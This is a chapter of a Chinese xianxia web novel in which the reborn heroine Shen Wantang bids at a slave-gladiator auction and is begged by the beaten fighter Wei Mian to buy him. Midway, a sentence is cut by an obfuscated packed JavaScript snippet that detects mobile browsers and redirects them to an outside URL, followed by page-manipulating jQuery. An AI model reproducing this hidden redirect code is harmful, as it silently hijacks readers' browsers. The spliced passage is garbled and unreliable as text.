13. 榱城(二)
作品:《无情道师兄是恋爱脑[重生]》 老妪瞪大了眼睛,身体渐渐消散,只留下了一滩血迹。
这老妪是个魔修,大概身体早年间受过重伤,斗篷之下的面貌奇丑无比,明眼人一见便知是遭了反噬。
于沈晚棠来说,此人不过是自寻死路。
若是前世的她或许会同她交易,毕竟皮相在实力与生死面前真的算不得什么。
可前世她入魔后曾潜入过内门藏书阁,里面有一处不为人知的禁室,也是在那里,她学会了不少魔族术法,包括禁术催魂术。
沈晚棠并没有多做停留。
因为迷雾谷有个规矩,不可在迷雾谷随意伤人、杀人,否则将会被迷雾谷的最高管理者派人追查,一旦查出,此人不得再入迷雾谷,若再入——死。
她催动灵力掩盖身上的血迹,熟门熟路的来到了一个角斗场——生死殿。
生死殿是迷雾谷最大的角斗场,这里的人只抓大妖与大魔,抓来的妖魔又要进行生死决斗。
赢得比赛的第一名,也就是最终被买主看中要拍走的人能活,其余的手下败将等待他们的只有折磨与死路一条。
如今她的修为还有些弱,她的身边需要一个人,这个人要足够强、足够听话、足够衷心。
生死殿迎客的人把她引上二楼雅间,拉开帘子露出场子中央的斗场,随后又恭敬地上好茶水点心,道:“这次的决斗两个月圆夜前便开始了,姑娘今日来晚了些,这已经是最后一场了。”
闻言,沈晚棠随手赏他几块灵石,道:“决胜负的比赛,于我来说正合适。”
这人得了赏又随口说笑了几句才退下。
角斗场宽而广,是个圆形场子,四周锁链团团围住,像是不分胜负便不放人。
场子上现有两名男子。
一名男子很年轻,约莫与她同岁。他上半身没了衣裳,胸膛和后背全是血淋淋的伤,就连脸上也没能幸免。
另一名男子二十几的模样,他毫发无损,脸上带着独属于胜利者的不屑。
场子两侧挂有旗帜,分别对应他们的名字。
受伤的男子名为魏免。
毫发无损那位名时磷。
桌上的点心闻着香似乎是鲜花饼,沈晚棠尝了一口,随后又呷了口茶,就这么会儿的功夫,场上已经有人撑不住大口呕血。
她应声看了过去。
那名为时磷的男子已经将魏免打成了重伤,他居高临下盯着地上因疼痛而抽着身子的魏免,道:“你早就输了。”
生死殿虽名为生死,可场上决斗却不准打死人,输了的人必须得是由生死殿的主人亲自处罚。
时磷说得没错,魏免早就输了。
二楼雅间有一道清脆的女声传出,带着些许的好笑,道:“输赢早定,又何苦执着于死在角斗场呢?”
声音是从隔壁传出的,两人之间一道屏风之隔。
“这个叫魏免的奴隶,即便最终赢得了第一又如何?赢得即不漂亮也不精彩,无非是拿命耗的,何必呢?”
“这个时磷,本公子要定了!”
又有人略带嘲讽开口,说完后并扬声出价:“我出十万两灵石!”
此话一出二楼雅间整个沸腾起来。
隔壁雅间的女子开口:“十一万灵石。”
“十二万!”
“十五万!”
“十七万!都别跟我抢!”
听着一声高过一声的拍卖价,匍匐在地狼狈不堪的魏免攥紧了拳头,他咬紧牙关强撑着站起身,可紧接着又咳出血来。
他的眼底似燃着熊熊烈火,他一字一句狠狠道:“再来!”他用力擦去唇角血迹。
时磷不耐地冷哼一声,随后一脚把人踹了出去,他冷眼看着魏免再次滚落在地,他问:“服不服!”
“不服!我不服!”魏免咬着牙,双眼赤红蔓延着血丝。
角斗场上不允许奴隶带凶器,所以魏免只能拼了命,疯了一样攥着拳头朝时磷打了过去。
这一拳用尽了他的力气,却也仅仅只是让时磷倒退几步吐出口血来。
沈晚棠的指尖轻轻敲击着茶杯,眼神略带同情地看了一眼魏免。
此时的魏免耗尽了全身力气半跪在地,他没有胜算,他颤着腿还要站起身,下一秒却被对方一拳将脑袋砸出了血来。
魏免彻底倒在了地上,脑袋上的血缓缓流在地上,他的眸子一点点暗了下来,求生的欲望却仍旧没有熄灭。
恰好,楼上少女半垂的冷淡眸子对上了少年暗淡无神的双眼,他看着她。
耳边传来一道声音:“本次生死决斗,第一名时磷,请诸位开始此次竞拍!”
三声锣声“咚咚咚”地响。
二楼雅间继续方才的喊价。
“我有的是灵石,我出二十万,谁敢要!”
“这么厉害的奴仆我都多久没见了,二十五万!”
二十五万,一时间无人喊价。
但没多久,沈晚棠隔壁雅间的女声突然换成了一道散漫的男声,像是带着笑喊出来的,说:”本公子三十万!谁敢接?”
二十五万都无人敢往上叫,更遑论三十万?
于是。
“三十万灵石一次。”
“三十万灵石两次。”
此时魏免已经被人拖走,血蜿蜒了一地。
沈晚棠的视线从魏免身上抽回,突然喊:“四十万灵石。”
此话一出,隔壁间突然有什么摔碎的声音传来。
紧接着,沈晚棠就听见隔壁的一男一女开始说话。
“五十……唔……你捂我嘴干嘛?!”
“我倾家荡产也拿不出四十一万,你瞎喊什么喊?!”
“谁瞎喊了!本公子有的是灵石,待我买了将人送给你!”
“谁要你送,我俩很熟吗?”
“嘿你这小美人,真是个没心肝的白眼狼!”
男子哼了哼气,又继续没好气地喊:“五十万!”
沈晚棠:“五十五万。”
隔壁再次传来说话吵架声,甚至还有打斗的声音。
沈晚棠本想等着主事人倒计时喊成交,却迟迟没听见声音,想是隔壁两人身份不凡。
于是,她咬了口鲜花饼,状似随意道:“二位不如出了迷雾谷找个客栈回去打情骂俏,总好过在这儿同我浪费时间?”
“她,她说什么?”女子磕磕绊绊开口,像是气昏了头。
男子的脸上也正经了起来,点点头说:“你没听错,她说咱们在打情骂俏,还劝咱们回家去闹。”
女子一气之下掀了桌:“你们两个臭不要脸的!”
男子:“???”怎么还骂我!
不等男子思考,女子已经抬手掀翻了屏风。
两人瞬间见到了隔壁的那道青色身影,此人其貌不扬,可手中突然出现的一把利剑看起来却极是不凡。
沈晚棠也见到了他们,但面貌音容都是假的,所以她只观察了他们的衣着特征。
眼前的女子穿一袭蓝衣,手握两把刀,左手长刀右手短刀,看周身熟悉的气息——魔族人。
而她身旁的男子显然是个人类
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280880|166823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,可他却手握骨笛,大概是名音修,天下音修千千万,可手握骨笛穿红衣的男子,只他一人。
三人气氛凝固,生死殿的管事也不敢轻易上前,反正在迷雾谷死了人算不到他们头上,他们有什么可急的呢?
看戏便好。
“五十五万。”沈晚棠对着这蓝衣女子重复一遍报价。
“你有那么多灵石吗?别到时候拿不出这么多,把那柄好剑抵在这生死殿。”
沈晚棠不语。
红衣男子的脾气比蓝衣女子要温和许多,他道:“六十万。”
沈晚棠的视线落在红衣男子身上,看他的样子大概是个不差钱的,思忖一瞬,她启唇:“一百万。”
蓝衣女子狠狠倒吸了口气。
红衣男子还要继续喊价,谁知却陡然被她拧了一把腰,他也跟着倒吸口气:“你拧我做什么?!”
蓝衣女子骂道:“你是不是傻啊,她想当冤大头你也上赶着当?一百万买个奴隶,你家怎么还没被你败光?”
红衣男子:“……”
“一百万一次!”主事人脸上乐呵呵的开始喊了起来。
也是第一次,竟然有人能把价格喊到一百万去。
……
“一百万三次!”
伴着这句话和敲锣声落下,一个浑身是血的少年突然不管不顾拼了命一样冲进来,他猛地跪在沈晚棠面前。
“噗通”一声倒是把周围几人吓了一跳,独独沈晚棠只是喝茶的动作一顿。
这少年还没来得及说话就立刻有几个壮汉上来对着他拳打脚踢,他们拉扯着强行把他带走。
“小姐!让我说几句话!求求你哪怕只一句!”
“若我说完小姐无动于衷,是死是活我魏免都认了!”
魏免撕心裂肺的声音从身后传来。
鬼使神差的,沈晚棠想到了方才少年倒在地上望向她时的眼神,总觉得他是有话想说的。
于是她放下茶杯,开口:“好,只一句。”
魏免猛地挣开束缚,重新跪在她面前。
脑袋汩汩往外冒的血流得他半张脸都是,其中一只眼睛便是一片红,虽是骇人的,可那双眼神却吸引了沈晚棠的注意力。
她问:“你想说什么?”
“小姐,若是别人,我和时磷之间选他的确是最好的选择,可偏偏是你,你若选了时磷可就选亏了,他不值你的一百万。”
少年略带凶狠与笃定的声音让在场的人听了不免觉得有意思。
分明是时磷的手下败将,可却敢如此口出狂言,他凭的是什么呢?
蓝衣女子是看中了时磷的,听了他这番不知天高地厚的话忍不住对身旁的男子开口:“他是不是疯了?”
红衣男子轻笑:“说不准。”
一句话,的确是一句,可这一句足以提起沈晚棠的兴趣。
沈晚棠冷笑一声,质问他:“别忘了,你输了,甚至连时磷都伤不了,难道你就值得起一百万?”
“是,我不可否认,我就是输了。”魏免大大方方承认,随后紧紧抿唇,突然往前跪了几步,几乎是快要挨到沈晚棠的衣裳。
沈晚棠微微蹙眉。
“小姐冒犯了。”魏免一面说话一面将手上的血在身上蹭干净,然后小心翼翼拉着她的手靠近自己的额头。
当指腹碰到他染血的眉间时,她的心中已有了预感。
紧接着,少年认真而略带祈求的声音传来:“小姐,我和你是同类啊,我于你来说才是最有利的工具。”
工具吗?